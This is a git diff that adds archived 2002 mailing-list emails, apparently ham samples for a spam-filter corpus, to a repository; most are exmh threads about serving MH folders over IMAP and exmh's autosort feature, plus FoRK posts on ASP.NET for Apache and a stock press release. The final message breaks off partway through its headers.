+From exmh-users-admin@redhat.com Thu Jul 25 15:13:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9305E440D1 + for ; Thu, 25 Jul 2002 10:13:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 15:13:47 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6PEAx406664 for + ; Thu, 25 Jul 2002 15:10:59 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 8FCAA3EDB2; Thu, 25 Jul 2002 + 10:10:07 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 1103040886 + for ; Thu, 25 Jul 2002 10:06:47 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6PE6lM10443 for exmh-users@listman.redhat.com; Thu, 25 Jul 2002 + 10:06:47 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6PE6lR10439 for + ; Thu, 25 Jul 2002 10:06:47 -0400 +Received: from sm10.texas.rr.com (sm10.texas.rr.com [24.93.35.222]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6PDsws31072 for + ; Thu, 25 Jul 2002 09:54:58 -0400 +Received: from bleep.craftncomp.com (cs662552-58.houston.rr.com + [66.25.52.58]) by sm10.texas.rr.com (8.12.0.Beta16/8.12.0.Beta16) with + ESMTP id g6PE6jJv027115 for ; Thu, 25 Jul 2002 + 09:06:45 -0500 +Received: from houston.rr.com + (IDENT:sKCAngvfwdN+0QojpoCrtzvnC+8kb9d0@boggle.craftncomp.com + [202.12.111.2]) by bleep.craftncomp.com (8.12.3/8.12.3) with ESMTP id + g6PE5FAW021717 for ; Thu, 25 Jul 2002 09:05:15 + -0500 (CDT) (envelope-from shocking@houston.rr.com) +Received: from boggle.craftncomp.com (shocking@localhost) by + houston.rr.com (8.11.6/8.9.3) with ESMTP id g6PE6gV24296 for + ; Thu, 25 Jul 2002 09:06:42 -0500 (envelope-from + shocking@boggle.craftncomp.com) +Message-Id: <200207251406.g6PE6gV24296@houston.rr.com> +X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4 +To: exmh-users@spamassassin.taint.org +Subject: Imap servers that support the MH folder/file standards +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +From: Stephen Hocking +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 09:06:42 -0500 + + +>>>From time to time I have to travel, and seem to end up with a rather slow +link back home that makes remote display of exmh rather slow, even over +ssh and/or VNC. What I'd like to do is use an imap capable mailer to +communicate with an imap server that is serving up my MH folders. Does +anyone know of any Imap servers that can do this? I'd like it to be able +to handle the mailstore using MH commands so things don't get out of +sync. At the moment I use a combo of fetchmail and procmail to handle +soring things when I'm local, and it's possible that an imap server +would mung this when I deleted a message remotely. + + + + Stephen + +-- + The views expressed above are not those of PGS Tensor. + + "We've heard that a million monkeys at a million keyboards could produce + the Complete Works of Shakespeare; now, thanks to the Internet, we know + this is not true." Robert Wilensky, University of California + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00733.8e51537a410ca42b33ae41f5973132d6 b/bayes/spamham/easy_ham_2/00733.8e51537a410ca42b33ae41f5973132d6 new file mode 100644 index 0000000..4f75348 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00733.8e51537a410ca42b33ae41f5973132d6 @@ -0,0 +1,137 @@ +From exmh-workers-admin@redhat.com Thu Jul 25 15:20:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 007A0440D0 + for ; Thu, 25 Jul 2002 10:20:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 15:20:27 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6PEKv407391 for + ; Thu, 25 Jul 2002 15:20:57 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 98A3240886; Thu, 25 Jul 2002 + 10:20:07 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 474D1408D5 + for ; Thu, 25 Jul 2002 10:17:10 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6PEHAW12614 for exmh-workers@listman.redhat.com; Thu, 25 Jul 2002 + 10:17:10 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6PEHAR12610 for + ; Thu, 25 Jul 2002 10:17:10 -0400 +Received: from austin-jump.vircio.com (jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6PE5Ms00781 + for ; Thu, 25 Jul 2002 10:05:22 -0400 +Received: (qmail 19587 invoked by uid 104); 25 Jul 2002 14:17:09 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4214. . Clean. Processed in 0.314746 + secs); 25/07/2002 09:17:09 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 25 Jul 2002 14:17:09 -0000 +Received: (qmail 8245 invoked from network); 25 Jul 2002 14:17:04 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?OxiUQPBbOVth7VeJIrY8cuZQ7k92RM6i?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 25 Jul 2002 14:17:04 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Brent Welch +Cc: Hal DeVore , exmh-workers@spamassassin.taint.org +Subject: Re: folders moving around in the unseen window +In-Reply-To: <200207181513.LAA08535@blackcomb.panasas.com> +References: <1026503843.3805.TMDA@deepeddy.vircio.com> + <15074.1026506046@dimebox> <200207181513.LAA08535@blackcomb.panasas.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-1233982810P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027606623.7951.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 09:17:01 -0500 + +--==_Exmh_-1233982810P +Content-Type: text/plain; charset=us-ascii + +> From: Brent Welch +> Date: Thu, 18 Jul 2002 08:13:53 -0700 +> +> Unfortunately, an unattributed patch may or may not be a contributed patch +> as I'm not always good about recording the source of a patch. I suspect +> this patch may have been contributed from someone that uses the +> auto-pack or auto-sort features, which I don't use. This change should be +> tested against those features. + +I'm running with autosort right now. If I don't see any problems, I' run with +autopack for a while. + +I did find some stuff that was being called too many times when auto-sort was +enabled, but otherwise it seems to be working. + +My computer is a lot faster than the last time I tried autosort (back in the +mid-90s); this is actually acceptable. + +Once I've confirmed that nothing actually breaks, I think I'll look into a few +more places that autosort needs to be called, because right now it only sorts +when you change to a folder, but if a new message arrives in the folder you're +looking at, it doesn't get sorted. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-1233982810P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9QAhdK9b4h5R0IUIRArP5AJ9VlUsxOjQhik1UZuFl1Yyta0XMFgCgiZw4 +VdvKT009spZK/h2q6HJTqX8= +=+Ns2 +-----END PGP SIGNATURE----- + +--==_Exmh_-1233982810P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00734.07453769e34240099704aaf247f6fe0b b/bayes/spamham/easy_ham_2/00734.07453769e34240099704aaf247f6fe0b new file mode 100644 index 0000000..647009e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00734.07453769e34240099704aaf247f6fe0b @@ -0,0 +1,108 @@ +From exmh-users-admin@redhat.com Thu Jul 25 15:30:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 741E7440D1 + for ; Thu, 25 Jul 2002 10:30:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 15:30:55 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6PEVb408124 for + ; Thu, 25 Jul 2002 15:31:37 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 981AF40939; Thu, 25 Jul 2002 + 10:29:46 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id B6651408BA + for ; Thu, 25 Jul 2002 10:27:17 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6PERIv14634 for exmh-users@listman.redhat.com; Thu, 25 Jul 2002 + 10:27:18 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6PERHR14629 for + ; Thu, 25 Jul 2002 10:27:17 -0400 +Received: from tater ([128.221.30.171]) by mx1.spamassassin.taint.org (8.11.6/8.11.6) + with SMTP id g6PEFTs02936 for ; Thu, 25 Jul 2002 + 10:15:29 -0400 +Received: from tater.emc.com (tater [127.0.0.1]) by tater (Postfix) with + ESMTP id 539EEF6EB for ; Thu, 25 Jul 2002 10:27:11 + -0400 (EDT) +X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev +X-Face: -3FL)\a9]p1*{&TA|(w!&ebZH+5D7{fH!_Hj`9^PVlbxHH%~+On#w\+}e={Y$(+8Z.n*_mov6R[#QIyt%Fh +To: exmh-users@spamassassin.taint.org +X-Seen-This: pll +From: pll@lanminds.com +Subject: Re: Imap servers that support the MH folder/file standards +References: <200207251406.g6PE6gV24296@houston.rr.com> +In-Reply-To: Your message of + "Thu, 25 Jul 2002 09:06:42 CDT." + <200207251406.g6PE6gV24296@houston.rr.com> +Message-Id: <20020725142712.539EEF6EB@tater> +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +X-Reply-To: pll@lanminds.com +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 10:27:11 -0400 + + +>>>>> On Thu, 25 Jul 2002, "Stephen" == Stephen Hocking wrote: + + Stephen> What I'd like to do is use an imap capable mailer to + Stephen> communicate with an imap server that is serving up my MH + Stephen> folders. Does anyone know of any Imap servers that can do + Stephen> this? + +This topic comes up every so often on this list. The short answer is +no, there really isn't an IMAP server which knows how to do this. + +The longer answer is, UW-IMAP claims it does, but doesn't do a good +job, and doesn't update scan caches, unseen, etc. + +You may have better luck while on the road using raw mh commands to +read you e-mail if you have ssh access to your internal environment. +I've been doing this for quite a long time, and, after the learning +curve of the mh command set (which I still don't know completely), +I'm quite able to access my e-mail and respond to those e-mails which +require a response. + +Another option is using mutt as your mail client when you're remotely +accessing e-mail. Mutt does a decent job of dealing with mh folders, +though it doesn't update scan caches or unseen files either. But it +is a decent interface alternative to raw mh, and it's quite +customizable. + +The real answer to your question is that we need not an IMAP server +that understands mh folders, but an mh server to which a local client +could connect to. In theory, it shouldn't be too hard (technically) +to cobble this together with ssh. Replace all of exmh's calls to mh +commands with a wrapper which uses ssh to lob these commands over to +a remote system, and dump the output back into the local exmh client. + +-- + +Seeya, +Paul + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00735.cc6d7c2f483b7368337750b02ce1f9a6 b/bayes/spamham/easy_ham_2/00735.cc6d7c2f483b7368337750b02ce1f9a6 new file mode 100644 index 0000000..986aaa5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00735.cc6d7c2f483b7368337750b02ce1f9a6 @@ -0,0 +1,124 @@ +From exmh-users-admin@redhat.com Thu Jul 25 16:42:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 79BCC440D0 + for ; Thu, 25 Jul 2002 11:42:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 16:42:55 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6PFfs413302 for + ; Thu, 25 Jul 2002 16:41:54 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 88C1D402CA; Thu, 25 Jul 2002 + 11:41:03 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 8D6FB3F3BD + for ; Thu, 25 Jul 2002 11:40:34 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6PFeYI30966 for exmh-users@listman.redhat.com; Thu, 25 Jul 2002 + 11:40:34 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6PFeYR30962 for + ; Thu, 25 Jul 2002 11:40:34 -0400 +Received: from austin-jump.vircio.com (jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6PFSjs19918 + for ; Thu, 25 Jul 2002 11:28:46 -0400 +Received: (qmail 24793 invoked by uid 104); 25 Jul 2002 15:40:33 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4214. . Clean. Processed in 0.320274 + secs); 25/07/2002 10:40:33 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 25 Jul 2002 15:40:33 -0000 +Received: (qmail 10567 invoked from network); 25 Jul 2002 15:40:30 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?LXhRzPGa/b0sJdrTa6Ui7OjfcJjr4jd9?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 25 Jul 2002 15:40:30 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: exmh-users@spamassassin.taint.org +Subject: Re: Imap servers that support the MH folder/file standards +In-Reply-To: <200207251449.g6PEnkQ24477@houston.rr.com> +References: <200207251449.g6PEnkQ24477@houston.rr.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-178228168P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +From: Chris Garrigues +Message-Id: <1027611630.10413.TMDA@deepeddy.vircio.com> +X-Delivery-Agent: TMDA/0.57 +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +X-Reply-To: Chris Garrigues +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 10:40:28 -0500 + +--==_Exmh_-178228168P +Content-Type: text/plain; charset=us-ascii + +> From: Stephen Hocking +> Date: Thu, 25 Jul 2002 09:49:46 -0500 +> +> As far as I understand, exmh also does some direct file access to do +> things, so the daemon would also have to be able to duplicate this, +> and the relevant bits inside exmh would have to be tweaked. + +It does. If anybody in the nmh world actually gets to the point of actually +implementing imap access, this will need to change, but until there exists an +environment where the direct access doesn't work, we're not going to take the +performance hit. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-178228168P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9QBvsK9b4h5R0IUIRAjvCAKCPgWXNzEZeGqZzndi4c/eCvYFwjACfXyIf +unh9xzeNTBgaVtCoOJ4MErU= +=DXeG +-----END PGP SIGNATURE----- + +--==_Exmh_-178228168P-- + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00736.95ca3601862ea15634f3dec16aef3e4b b/bayes/spamham/easy_ham_2/00736.95ca3601862ea15634f3dec16aef3e4b new file mode 100644 index 0000000..bb17766 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00736.95ca3601862ea15634f3dec16aef3e4b @@ -0,0 +1,81 @@ +From fork-admin@xent.com Thu Jul 25 18:56:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1D3B1440E6 + for ; Thu, 25 Jul 2002 13:56:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 18:56:11 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PHug420971 for ; + Thu, 25 Jul 2002 18:56:43 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 12BC72940DE; Thu, 25 Jul 2002 10:55:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from tripper.magisoftware.com (tripper.magisoftware.com + [208.179.190.4]) by xent.com (Postfix) with ESMTP id F3C432940B5 for + ; Thu, 25 Jul 2002 10:54:05 -0700 (PDT) +Received: from endeavors.com ([208.179.190.254]) by + tripper.magisoftware.com (Netscape Messaging Server 4.1) with ESMTP id + GZTGFK00.96Y for ; Thu, 25 Jul 2002 10:54:56 -0700 +Message-Id: <3D403BD7.8080602@endeavors.com> +From: "Gregory Alan Bolcer" +Organization: Endeavors Technology, Inc. +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4.1) + Gecko/20020508 Netscape6/6.2.3 +X-Accept-Language: en,pdf +MIME-Version: 1.0 +To: FoRK +Subject: Covalent.NET +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 10:56:39 -0700 + +[1] Covalent works with Microsoft to provide ASP.NET capabilities for +Apache 2.0. ASP.NET actually has some really elegant tools for doing +load testing and analysis. Perhaps Microsoft's desire to embrace, extend, and +extinguish comes from a scathing Gartner report recommending not to deploy +IIS for enterprise applications at all. Now users get the best of both +worlds: all the development tools of ASP.Net and the security and reliability +of Apache. + +Greg + +-- +Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com +Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com + + +[1]http://www.infoworld.com/articles/hn/xml/02/07/25/020725hnapachenet.xml + +> With help from Microsoft in Redmond, Wash., Covalent said it was able to develop a + +> module for its Enterprise Ready Server that would allow ASP.Net applications to run on + +> Apache 2.0. However, organizations that use the freely available Web server won't be able + +> to run ASP.Net applications unless they purchase Covalent's software. Zemlin said that the + +> company doesn't plan to release an open-source version of its .Net module. + + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00737.1c096ffc019ac810e5db051fb8746bd8 b/bayes/spamham/easy_ham_2/00737.1c096ffc019ac810e5db051fb8746bd8 new file mode 100644 index 0000000..c145cbd --- /dev/null +++ b/bayes/spamham/easy_ham_2/00737.1c096ffc019ac810e5db051fb8746bd8 @@ -0,0 +1,95 @@ +From fork-admin@xent.com Fri Jul 26 00:52:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EBB3D440E7 + for ; Thu, 25 Jul 2002 19:52:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 00:52:50 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PNsd407771 for ; + Fri, 26 Jul 2002 00:54:40 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8029E2940F8; Thu, 25 Jul 2002 16:53:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from tripper.magisoftware.com (tripper.magisoftware.com + [208.179.190.4]) by xent.com (Postfix) with ESMTP id 13F9B2940F8 for + ; Thu, 25 Jul 2002 16:52:23 -0700 (PDT) +Received: from endeavors.com ([208.179.190.254]) by + tripper.magisoftware.com (Netscape Messaging Server 4.1) with ESMTP id + GZTX0Q00.D7S for ; Thu, 25 Jul 2002 16:53:14 -0700 +Message-Id: <3D408FD3.6060801@endeavors.com> +From: "Gregory Alan Bolcer" +Organization: Endeavors Technology, Inc. +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4.1) + Gecko/20020508 Netscape6/6.2.3 +X-Accept-Language: en,pdf +MIME-Version: 1.0 +To: FoRK +Subject: OpenWave +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 16:54:59 -0700 + +OPWV and a bad moon rising. + +> Zacks Issues Recommendations on 4 Stocks: DYN, MANU, SWY and OPWV +> +> PR Newswire, Thursday, July 25, 2002 at 06:03 +> +> /FROM PR NEWSWIRE CHICAGO 888-776-6551/ [STK] DYN MANU SWY OPWV [IN] FIN MLM [SU] INO -- + + +WITH PHOTO -- TO BUSINESS EDITOR: +> +> Zacks Issues Recommendations on 4 Stocks: DYN, MANU, SWY and OPWV +> +> CHICAGO, July 25 /PRNewswire/ -- Zacks.com releases details on four more + +stocks that are part of their exclusive list of Stocks to Sell Now. These + +stocks are currently rated as a Zacks Rank #5 (Strong Sell). These stocks have + +been proven to under-perform the S&P 500 by 89.8% since its inception in 1980. + +While the rest of Wall Street continued to tout stocks during the market declines + +of the last few years, we were telling our customers which stocks to sell in order + +to save themselves the misery of unrelenting losses. Among the #5 ranked stocks today + +we highlight the following companies: Dynegy, Inc. (NYSE:DYN) and Manugistics Group, Inc. + +(NASDAQ:MANU), Safeway, Inc. (NYSE:SWY) and Openwave Systems, Inc. (NASDAQ:OPWV). To see + +the full Zacks #5 Ranked list of Stocks to Sell Now then visit http://stockstosellpr.zacks.com . + + +-- +Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com +Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com + + + + + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00738.05f8a7eadad0c0866eb3bcd815e4a735 b/bayes/spamham/easy_ham_2/00738.05f8a7eadad0c0866eb3bcd815e4a735 new file mode 100644 index 0000000..f4b99ac --- /dev/null +++ b/bayes/spamham/easy_ham_2/00738.05f8a7eadad0c0866eb3bcd815e4a735 @@ -0,0 +1,87 @@ +From exmh-workers-admin@redhat.com Mon Jul 29 11:24:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 09A2144121 + for ; Mon, 29 Jul 2002 06:22:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:22:44 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RAEoi19126 for + ; Sat, 27 Jul 2002 11:14:51 +0100 +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + webnote.net (8.9.3/8.9.3) with ESMTP id AAA14689 for ; + Sat, 27 Jul 2002 00:40:50 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 855553EE50; Fri, 26 Jul 2002 + 19:40:27 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 31C443EAE9 + for ; Fri, 26 Jul 2002 19:38:16 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6QNcGx05054 for exmh-workers@listman.redhat.com; Fri, 26 Jul 2002 + 19:38:16 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6QNcGR05050 for + ; Fri, 26 Jul 2002 19:38:16 -0400 +Received: from dimebox.bmc.com (adsl-66-140-152-233.dsl.hstntx.swbell.net + [66.140.152.233]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g6QNQIs26051 for ; Fri, 26 Jul 2002 19:26:18 + -0400 +Received: by dimebox.bmc.com (Postfix, from userid 1205) id B29C838DA9; + Fri, 26 Jul 2002 18:38:14 -0500 (CDT) +Received: from dimebox (localhost [127.0.0.1]) by dimebox.bmc.com + (Postfix) with 